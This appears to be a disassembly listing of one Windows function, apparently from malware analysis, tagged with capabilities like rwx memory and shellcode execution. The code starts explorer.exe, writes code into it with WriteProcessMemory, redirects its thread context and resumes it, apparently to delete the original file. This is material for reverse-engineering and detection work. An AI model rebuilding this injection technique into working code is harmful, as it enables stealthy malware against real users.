Function at 0x407588
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Get common file path
Resume thread
Set current directory

Disassembly:
mov eax, 0x46df9a
call fcn.0045454c
mov eax, 0x11f0
call fcn.00454c90
push ebx
push esi
push edi
lea eax, [ebp - 0xe]
mov edi, 0x476628
mov esi, 0x476620
push 0
push eax
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x3c], esi
call fcn.00403bf5
and dword [ebp - 4], 0
mov ebx, 0x104
lea eax, [ebp - 0x30]
push ebx
push eax
lea ecx, [ebp - 0x5c]
call fcn.00402dad
mov ecx, dword [eax]
mov byte [ebp - 4], 1
mov byte [eax + 4], 1
call fcn.00403dc2
mov eax, dword [eax]
push ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
and byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.00402ebf
push 0
lea eax, [ebp - 0xac]
push 0
push eax
lea ecx, [ebp - 0x5c]
call fcn.00403fd1
push 0xc
lea eax, [ebp - 0x5c]
sub esp, 0x28
mov byte [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0x24], esp
push 1
push eax
call fcn.0040798e
call fcn.0043985e
add esp, 0x2c
test al, al
jne 0x407662
cmp byte [ebp + 8], al
je 0x40765b
push 0xc
lea eax, [ebp - 0xac]
sub esp, 0x28
mov ecx, esp
mov dword [ebp - 0x24], esp
push 1
push eax
call fcn.0040798e
call fcn.0043985e
add esp, 0x2c
test al, al
jne 0x407662
mov bl, 1
jmp 0x4078c8
lea eax, [ebp - 0xd]
push 0
push eax
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x84], edi
mov dword [ebp - 0x64], esi
call fcn.00403bf5
lea eax, [ebp - 0x30]
push ebx
push eax
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 3
call fcn.00402dad
mov ecx, dword [eax]
mov byte [ebp - 4], 4
mov byte [eax + 4], 1
call fcn.00403dc2
mov eax, dword [eax]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 3
call fcn.00402ebf
cmp dword [ebp - 0x78], 0
je 0x4076ce
mov eax, dword [ebp - 0x7c]
test eax, eax
jne 0x4076c7
mov eax, 0x476650
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 6
mov esi, str.explorer.exe
pop ecx
lea edi, [ebp - 0x5c4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x7b
xor eax, eax
pop ecx
lea edi, [ebp - 0x5aa]
rep stosd dword es:[edi], eax
push 0x44
xor esi, esi
pop edx
stosw word es:[edi], ax
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0xec]
mov dword [ebp - 0xf0], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xf0]
push eax
push esi
push esi
push edx
push esi
push esi
lea eax, [ebp - 0x5c4]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x407731
xor bl, bl
jmp 0x4078b9
mov ecx, 0x30c
xor eax, eax
lea edi, [ebp - 0x11f8]
mov dword [ebp - 0x11fc], esi
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x9f4], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x9ec], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x9e8], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x9e4], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x9e0], eax
mov al, byte [ebp + 8]
mov byte [ebp - 0x9d8], al
mov eax, dword [ebp - 0x54]
cmp eax, esi
mov dword [ebp - 0x9f0], edi
jne 0x40779f
mov eax, 0x476650
push ebx
push eax
lea eax, [ebp - 0x9d7]
push eax
call fcn.00454bc2
add esp, 0xc
cmp byte [ebp + 8], 0
je 0x4077d6
mov eax, dword [ebp - 0xa4]
cmp eax, esi
jne 0x4077c5
mov eax, 0x476650
push ebx
push eax
lea eax, [ebp - 0x7cf]
push eax
call fcn.00454bc2
add esp, 0xc
push esi
push esi
lea eax, [ebp - 0x9f8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [ebp - 0x20]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, 0x40798d
mov eax, 0x4078f4
sub ecx, eax
cmp ecx, 0x800
ja 0x40772a
push ecx
push eax
lea eax, [ebp - 0x11f8]
push eax
call fcn.00454f00
add esp, 0xc
lea eax, [ebp - 0x3bc]
mov dword [ebp - 0x3bc], 0x10003
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x2f8]
mov ebx, 0xc35
lea esi, [eax - 0xc35]
and esi, 0xffffffe0
mov dword [ebp - 0x11fc], esi
lea eax, [esi - 4]
mov dword [ebp - 0x2f8], eax
lea eax, [esi + 4]
mov dword [ebp - 0x304], eax
lea eax, [ebp - 0x34]
push eax
push 0x40
push ebx
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
lea eax, [ebp - 0x11fc]
push ebx
push eax
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x3bc]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x20]
call edi
mov bl, 1
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 2
call fcn.00402424
and byte [ebp - 4], 0
lea ecx, [ebp - 0xac]
call fcn.00402424
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c]
call fcn.00402424
mov ecx, dword [ebp - 0xc]
pop edi
mov al, bl
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret